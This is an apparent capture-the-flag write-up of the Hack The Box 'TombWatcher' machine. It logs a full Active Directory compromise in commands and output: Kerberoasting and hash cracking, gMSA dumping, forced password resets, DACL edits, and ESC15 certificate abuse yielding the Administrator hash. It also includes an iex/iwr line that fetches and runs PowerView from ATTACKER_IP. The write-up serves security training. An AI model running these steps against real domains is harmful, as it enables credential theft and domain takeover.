The bloodhound-python collector was run and the results imported into BloodHound.
fcoomans@kali:~/htb/tombwatcher$ bloodhound-python --zip -ns 10.10.11.72 -d tombwatcher.htb -c All --dns-tcp -u henry -p H3nry_987TGV!
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 32S
INFO: Compressing output into 20250718111818_bloodhound.zip
Henry had WriteSPN permissions on user Alfred. This allows me to run a Kerberoast on Alfred.

Alfred had the AddSelf permission on the INFRASTRUCTURE group. So, Alfred can add himself to this group.

The INFRASTRUCTURE group has ReadGMSAPassword on the ANSIBLE_DEV$ computer account. This means that once Henry has been added to the INFRASTRUCTURE group that he can read the GMSA password for the ANSIBLE_DEV$ computer account.

The ANSIBLE_DEV$ computer account had the ForceChangePassword permissions for the Sam user account. The computer account can, therefore, change Sam’s password.

Sam had the WriteOwner permission on the John user account object. Sam can add himself as the owner of John user account object and then change John’s password.

John was a member of the Remote Management Users group, which means that John could WinRM into the target.

Here is a consolidated image showing the full attack chain from Henry to ultimately taking over John’s user account.

🧪 Exploitation
🍖 Kerberoasting Alfred
Here is BloodHound’s suggestion to abuse WriteSPN from Linux.

I started by cloning the https://github.com/ShutdownRepo/targetedKerberoast repo, setting up a Python virtual environment and activating it and then installing the requirements/dependencies to get the tool working.
fcoomans@kali:~/htb/tombwatcher$ git clone https://github.com/ShutdownRepo/targetedKerberoast
Cloning into 'targetedKerberoast'...
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (19/19), done.
remote: Total 76 (delta 19), reused 17 (delta 14), pack-reused 43 (from 1)
Receiving objects: 100% (76/76), 252.17 KiB | 321.00 KiB/s, done.
Resolving deltas: 100% (30/30), done.
fcoomans@kali:~/htb/tombwatcher$ cd targetedKerberoast
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ python -m venv targetedKerberoast
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ . ./targetedKerberoast/bin/activate
(targetedKerberoast)fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ pip install -r requirements.txt
Collecting ldap3 (from -r requirements.txt (line 1))
<SNIP>
ntpdate was used to sync the attack host time with the target domain time,
(targetedKerberoast)fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ sudo ntpdate dc01.tombwatcher.htb
2025-07-18 11:30:46.683766 (+0200) +119.081663 +/- 0.083554 dc01.tombwatcher.htb 10.10.11.72 s1 no-leap
CLOCK: time stepped by 119.081663
And then targetedKerberoast was used to Kerberoast Alfred’s user account.
(targetedKerberoast)fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ python targetedKerberoast.py --dc-host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p H3nry_987TGV! --request-user 'alfred' -f hashcat -o hashes.kerberoast
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[+] Writing hash to file for (Alfred)
(targetedKerberoast)fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ deactivate
Alfred’s password hash was written to the hashes.kerberoast file.
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ cat hashes.kerberoast
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$307a4a366a8658e68b12647fdd4b681c$91416127ad1cfb58542515b49a83689c455e830a7ff95ed4b571d12e3890e4720448772f6a1a1ddcc7d003a1e7af6af6fbe8941c1759c5ec17ed49193c3ace66908eb4cbc3612487e14c38c5b8df73be84bf735b87a2414d89ffc2e69c8d18ccf65650504c719567420a40a13d2c75320bfb452b72230d0e31b84b6a7adc72a3c74ab495a099916894cbf69b54f33e87d07fa5c75081dbff70fa9eeb93a4201a3f66e90aaf6658361885f0b07dd79d8ca4625e8fc5530f5fa68adb35ac4d8a54058016fe406f20c465e4ee70b62ba88794456c4eedfb4c2f744438bdee57d5434a9fec16fd08c14c98d3d4d1d7e34acd25423bfbc77477dfcca96fbb0b00d43ba2aa2490f876d697b08329c35359150cab909c97c832902424b2fbf1e24e60bc44b73815c57195ed72e754a9e3d5c3bbd4a0d569373bf7d340fd4bc1e3e8ba87c6a08ce800a31f13315f754b74b23286ca065ca73036b4b81bb49509acec7e2c4e306a57c434f759dd6564561451d2912dcc0039d3ab84da506f55bf81b68a9fe78b5512afb0d8ca7c43b5b062ffc20d5d03deadce9bda014032afa2139db03afa03607a43aeeb3fb3412d674757fe64adfe3c7a5f385b23e9e247dd261df498145067c82011a6d247c344f7607db04b38e9811bebaf9618aaf62710527cb80796625dce0fdeac0e04cec88ed6632762546eb20b3670ecdb85d392d7877069afbb5487550123a312a6ff85e5f2cae78004832fdd8ed0c206acbe6d9d880b5aa27aacdfb03698032c633602f5ba0600534650e3aae3c17253aad8518864423f22af3af7823e155a97b30d239c0c3c231735772c19303a43a7b439aeff77e3904238d2e0ca37d621a9533112c2710cc0196dba90a79fff77d36d235ff93bf4d7ac6e47a0f203b7f017c92e5cbf3cad8fa9467c0ba3cd523ebda0e391df99aaa31e501342dd3c40380aafbf05f3e019eceb13e7ce8915e25e8bbdc17f36619f1e1dc05a4dac21818e4928a8e67ed73e8e7cff88f0978f47b2ec3783957f3d9f8d64764df4d44edd3cb07830585dbf0238eb69b1b9cfed7ae387bb304b39318e9f894bb046991347bd3dfa349c252abb4ec8eb2c0964079e35273c9fd564eb61c3838addc3bcad600bb4a52afb6ecda55e1844038d4d761448d0f071f33493f54922956bd743d67e8377807e045b4fa3074e41b9052eb4448bce3a1425a2a9b0c2038ce56aed552e969d2e6ccaf9d7e6e519a5c9734b59a22cad64971a91e6f41817f17dd7501056bc1b42d792b7b07b374da028cf72b98f62e8d7bcbbcf12e025054fb1bb702c3be75f3c672ff7d50b55957a3e706285240c0ea0626221c75d46700faecfacd72fb448acdf7d108427c05a174f7ce1232d427e501b92af296c09632332850309eefe239e951fba54e26811cb50dae68bc3798cfd7c7b82651086b82eb7e4b565fbfc66ede7fa44bc7f4e60402c87fe04
The command hashcat --help |grep -i tgs was used on older versions of hashcat to determine what mode should be used when cracking the hash. The TGS-REP is using etype 23, as indicated by the $23$ in the hash ($krb5tgs$23$*Alfred$<SNIP>).
This way of detecting which hash mode to use was, however, removed in newer versions of hashcat.
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ hashcat --help |grep -i tgs
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
In newer versions, you simply run hashcat --identify hashes.kerberoast, which simplifies the mode detection process.
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ hashcat --identify hashes.kerberoast
The following hash-mode match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
Alfred’s hash was cracked using hashcat, with mode 13100 and the rockyou.txt wordlist. His password was basketball.
fcoomans@kali:~/htb/tombwatcher/targetedKerberoast$ hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$307a4a366a8658e68b12647fdd4b681c$91416127ad1cfb58542515b49a83689c455e830a7ff95ed4b571d12e3890e4720448772f6a1a1ddcc7d003a1e7af6af6fbe8941c1759c5ec17ed49193c3ace66908eb4cbc3612487e14c38c5b8df73be84bf735b87a2414d89ffc2e69c8d18ccf65650504c719567420a40a13d2c75320bfb452b72230d0e31b84b6a7adc72a3c74ab495a099916894cbf69b54f33e87d07fa5c75081dbff70fa9eeb93a4201a3f66e90aaf6658361885f0b07dd79d8ca4625e8fc5530f5fa68adb35ac4d8a54058016fe406f20c465e4ee70b62ba88794456c4eedfb4c2f744438bdee57d5434a9fec16fd08c14c98d3d4d1d7e34acd25423bfbc77477dfcca96fbb0b00d43ba2aa2490f876d697b08329c35359150cab909c97c832902424b2fbf1e24e60bc44b73815c57195ed72e754a9e3d5c3bbd4a0d569373bf7d340fd4bc1e3e8ba87c6a08ce800a31f13315f754b74b23286ca065ca73036b4b81bb49509acec7e2c4e306a57c434f759dd6564561451d2912dcc0039d3ab84da506f55bf81b68a9fe78b5512afb0d8ca7c43b5b062ffc20d5d03deadce9bda014032afa2139db03afa03607a43aeeb3fb3412d674757fe64adfe3c7a5f385b23e9e247dd261df498145067c82011a6d247c344f7607db04b38e9811bebaf9618aaf62710527cb80796625dce0fdeac0e04cec88ed6632762546eb20b3670ecdb85d392d7877069afbb5487550123a312a6ff85e5f2cae78004832fdd8ed0c206acbe6d9d880b5aa27aacdfb03698032c633602f5ba0600534650e3aae3c17253aad8518864423f22af3af7823e155a97b30d239c0c3c231735772c19303a43a7b439aeff77e3904238d2e0ca37d621a9533112c2710cc0196dba90a79fff77d36d235ff93bf4d7ac6e47a0f203b7f017c92e5cbf3cad8fa9467c0ba3cd523ebda0e391df99aaa31e501342dd3c40380aafbf05f3e019eceb13e7ce8915e25e8bbdc17f36619f1e1dc05a4dac21818e4928a8e67ed73e8e7cff88f0978f47b2ec3783957f3d9f8d64764df4d44edd3cb07830585dbf0238eb69b1b9cfed7ae387bb304b39318e9f894bb046991347bd3dfa349c252abb4ec8eb2c0964079e35273c9fd564eb61c3838addc3bcad600bb4a52afb6ecda55e1844038d4d761448d0f071f33493f54922956bd743d67e8377807e045b4fa3074e41b9052eb4448bce3a1425a2a9b0c2038ce56aed552e969d2e6ccaf9d7e6e519a5c9734b59a22cad64971a91e6f41817f17dd7501056bc1b42d792b7b07b374da028cf72b98f62e8d7bcbbcf12e025054fb1bb702c3be75f3c672ff7d50b55957a3e706285240c0ea0626221c75d46700faecfacd72fb448acdf7d108427c05a174f7ce1232d427e501b92af296c09632332850309eefe239e951fba54e26811cb50dae68bc3798cfd7c7b82651086b82eb7e4b565fbfc66ede7fa44bc7f4e60402c87fe04:basketball
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb...87fe04
<SNIP>
NetExec (nxc) confirmed that this password was indeed valid.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u alfred -p basketball
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\alfred:basketball
👥 Add Alfred to the INFRASTRUCTURE Group
Here is BloodHound’s suggestion to abuse AddSelf from Linux, but I decided to use bloodyAD instead as it’s arguably easier to use, when working with AD objects.

With Alfred’s password in hand, I used bloodyAD to add Alfred to the INFRASTRUCTURE group.
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball get object --attr member INFRASTRUCTURE
distinguishedName: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball add groupMember INFRASTRUCTURE alfred
[+] alfred added to INFRASTRUCTURE
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball get object --attr member INFRASTRUCTURE
distinguishedName: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb
member: CN=Alfred,CN=Users,DC=tombwatcher,DC=htb
🧾 Read ANSIBLE_DEV$ GMSA Password
Here is BloodHound’s suggestion to abuse ReadGMSAPassword from Linux.

I started by cloning the https://github.com/micahvandeusen/gMSADumper repo, created a Python virtual environment and activated it. I then installed the requirements/dependencies to get the tool working.
fcoomans@kali:~/htb/tombwatcher$ git clone https://github.com/micahvandeusen/gMSADumper
Cloning into 'gMSADumper'...
remote: Enumerating objects: 54, done.
remote: Counting objects: 100% (54/54), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 54 (delta 22), reused 38 (delta 14), pack-reused 0 (from 0)
Receiving objects: 100% (54/54), 38.35 KiB | 7.67 MiB/s, done.
Resolving deltas: 100% (22/22), done.
fcoomans@kali:~/htb/tombwatcher$ cd gMSADumper
fcoomans@kali:~/htb/tombwatcher/gMSADumper$ python -m venv gMSADumper
fcoomans@kali:~/htb/tombwatcher/gMSADumper$ . ./gMSADumper/bin/activate
(gMSADumper)fcoomans@kali:~/htb/tombwatcher/gMSADumper$ pip install -r requirements.txt
Collecting impacket==0.10.0 (from -r requirements.txt (line 1))
Downloading impacket-0.10.0.tar.gz (1.4 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.4/1.4 MB 10.8 MB/s eta 0:00:00
<SNIP>
gMSADumper.py was then used to read the GMSA password hash as user Alfred for the ANSIBLE_DEV$ computer account.
(gMSADumper)fcoomans@kali:~/htb/tombwatcher/gMSADumper$ python gMSADumper.py -u alfred -p basketball -d tombwatcher.htb
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::7bc5a56af89da4d3c03bc048055350f2
ansible_dev$:aes256-cts-hmac-sha1-96:29a7e3cc3aaad2b30beca182a9707f1a1e71d2eb49a557d50f9fd91360ec2f64
ansible_dev$:aes128-cts-hmac-sha1-96:de6c86d8b6a71c4538f82dc570f7f9a6
(gMSADumper)fcoomans@kali:~/htb/tombwatcher/gMSADumper$ deactivate
Netexec (nxc) once again confirmed that the password hash was indeed valid.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u ANSIBLE_DEV$ -H 7bc5a56af89da4d3c03bc048055350f2
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\ANSIBLE_DEV$:7bc5a56af89da4d3c03bc048055350f2
⚔️ Force Password change for Sam
Here is BloodHound’s suggestion to abuse ForceChangePassword from Linux, but I opted to use bloodyAD for this instead.

With the ANSIBLE_DEV$ computer hash in hand, I changed Sam’s password.
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p :7bc5a56af89da4d3c03bc048055350f2 set password sam Password123!
[+] Password changed successfully!
NetExec (nxc) once again confirmed that the newly set password was indeed valid for user Sam.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u sam -p Password123!
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\sam:Password123!
🔄 Change Password for John
Here is BloodHound’s suggestion to abuse WriteOwner from Linux. I used most of the tools, but used bloodyAD to ultimately reset the password.

I made Sam, John’s new user object Owner, using impacket-owneredit. The initial Owner was Domain Admins.
fcoomans@kali:~/htb/tombwatcher$ impacket-owneredit -action write -new-owner sam -target john 'tombwatcher.htb/sam:Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!
``
fcoomans@kali:~/htb/tombwatcher$ impacket-owneredit -action read -target john 'tombwatcher.htb/sam:Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-1105
[*] - sAMAccountName: sam
[*] - distinguishedName: CN=sam,CN=Users,DC=tombwatcher,DC=htb
impacket-dacledit was then used to give Sam FullControl over John’s user object.
fcoomans@kali:~/htb/tombwatcher$ impacket-dacledit -action write -rights FullControl -principal sam -target john 'tombwatcher.htb/sam:Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL modified successfully!
And finally bloodyAD was used to set John’s password as user Sam.
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p Password123! set password john Password123!
[+] Password changed successfully!
NetExec (nxc) confirmed that the newly set password for user John was indeed valid.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u john -p Password123!
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\john:Password123!
I then used evil-winrm to connect to the target.
fcoomans@kali:~/htb/tombwatcher$ evil-winrm -i dc01.tombwatcher.htb -u john -p Password123!
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents> whoami
tombwatcher\john
💰 Post Exploitation
🚩 user.txt
John was the holder of the user.txt flag.
*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\john\Desktop\user.txt
768444437d2b74811a0d1d9071e1eabc
💳 ADCS Abuse
🔎 Recon
This was what BloodHound recommended I do to exploit John’s GenericAll permissions over the ADCS container.

I decided to share PowerView with a Python web server.
fcoomans@kali:~/htb/tombwatcher$ python -m http.server -d /usr/share/windows-resources/powersploit/Recon
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
And downloaded it on the target.
*Evil-WinRM* PS C:\Users\john\Documents> iex (iwr http://ATTACKER_IP:8000/PowerView.ps1 -UseBasicParsing)
🔄 Change Password for cert_admin
I then checked what permissions John through the ADCS container inheritance had GenericAll access to the cert_admin user account. John could also Renanimate-Tombstones, which meant that John could restore deleted AD Objects.
*Evil-WinRM* PS C:\Users\john\Documents> $sid = Convert-NameToSid john
*Evil-WinRM* PS C:\Users\john\Documents> Get-ObjectAcl -ResolveGUIDs |Where-Object { $_.SecurityIdentifier -eq $sid }
AceQualifier : AccessAllowed
ObjectDN : DC=tombwatcher,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : Reanimate-Tombstones
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1392491010-1358638721-2126982587-1106
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
AceType : AccessAllowed
ObjectDN : OU=ADCS,DC=tombwatcher,DC=htb
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1392491010-1358638721-2126982587-1106
AccessMask : 983551
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
AceType : AccessAllowed
ObjectDN : OU=ADCS,DC=tombwatcher,DC=htb
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : ContainerInherit, ObjectInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1392491010-1358638721-2126982587-1106
AccessMask : 983551
AuditFlags : None
AceFlags : ObjectInherit, ContainerInherit
AceQualifier : AccessAllowed
AceType : AccessAllowed
ObjectDN : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587-1111
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : True
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1392491010-1358638721-2126982587-1106
AccessMask : 983551
AuditFlags : None
AceFlags : ContainerInherit, Inherited
AceQualifier : AccessAllowed
AceType : AccessAllowed
ObjectDN : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587-1111
InheritanceFlags : ContainerInherit, ObjectInherit
BinaryLength : 36
IsInherited : True
IsCallback : False
PropagationFlags : InheritOnly
SecurityIdentifier : S-1-5-21-1392491010-1358638721-2126982587-1106
AccessMask : 983551
AuditFlags : None
AceFlags : ObjectInherit, ContainerInherit, InheritOnly, Inherited
AceQualifier : AccessAllowed
I tried to use the built-in Get-DomainUser cmdlet to look at cert_admin, but found that PowerView messed up the built-in cmdlets.
*Evil-WinRM* PS C:\Users\john\Documents> Get-DomainUser cert_admin
I disconnected from evil-winrm and reconnected with John’s credentials. Get-ADObject confirmed that cert_admin was deleted/tombstoned.
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties lastKnownParent,ObjectSID
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent :
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 34509cb3-2b23-417b-8b98-13f0bd953319
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587-1109
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587-1110
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectSID : S-1-5-21-1392491010-1358638721-2126982587-1111
Restore-ADObject restored the cert_admin user account.
*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADUser cert_admin
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
GivenName : cert_admin
Name : cert_admin
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname : cert_admin
UserPrincipalName :
bloodyAD was then used to set the password for user cert_admin.
fcoomans@kali:~/htb/tombwatcher$ bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p Password123! set password cert_admin Password123!
[+] Password changed successfully!
NetExec (nxc) confirmed that the newly set password was valid and that the account worked.
fcoomans@kali:~/htb/tombwatcher$ nxc smb dc01.tombwatcher.htb -u cert_admin -p Password123!
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\cert_admin:Password123!
certipy-ad was used to find Active Directory Certificate Services (ADCS) vulnerabilities.
fcoomans@kali:~/htb/tombwatcher$ certipy-ad find -u cert_admin -p Password123! -ns 10.10.11.72 -dc-ip dc01.tombwatcher.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250718220316_Certipy.txt'
[*] Wrote text output to '20250718220316_Certipy.txt'
[*] Saving JSON output to '20250718220316_Certipy.json'
[*] Wrote JSON output to '20250718220316_Certipy.json'
🐞 ECS15 ADCS Vulnerability
Looking at the output file confirmed that the ADCS was vulnerable to ECS15.
fcoomans@kali:~/htb/tombwatcher$ cat 20250718220316_Certipy.txt
<SNIP>
17
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
<SNIP>
🧪 Exploitation
The Certipy Wiki on GitHub (https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu) explained step-by-step how to exploit ECS15.
I followed the steps.
Step 1: Request a certificate from a V1 template (with “Enrollee supplies subject”), injecting “Certificate Request Agent” Application Policy.
fcoomans@kali:~/htb/tombwatcher$ certipy-ad req -u cert_admin@tombwatcher.htb -p Password123! -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'
Step 2: Use the “agent” certificate to request a certificate on behalf of a target privileged user.
fcoomans@kali:~/htb/tombwatcher$ certipy-ad req -u cert_admin@tombwatcher.htb -p Password123! -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'TOMBWATCHER\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Step 3: Authenticate as the privileged user using the “on-behalf-of” certificate.
fcoomans@kali:~/htb/tombwatcher$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
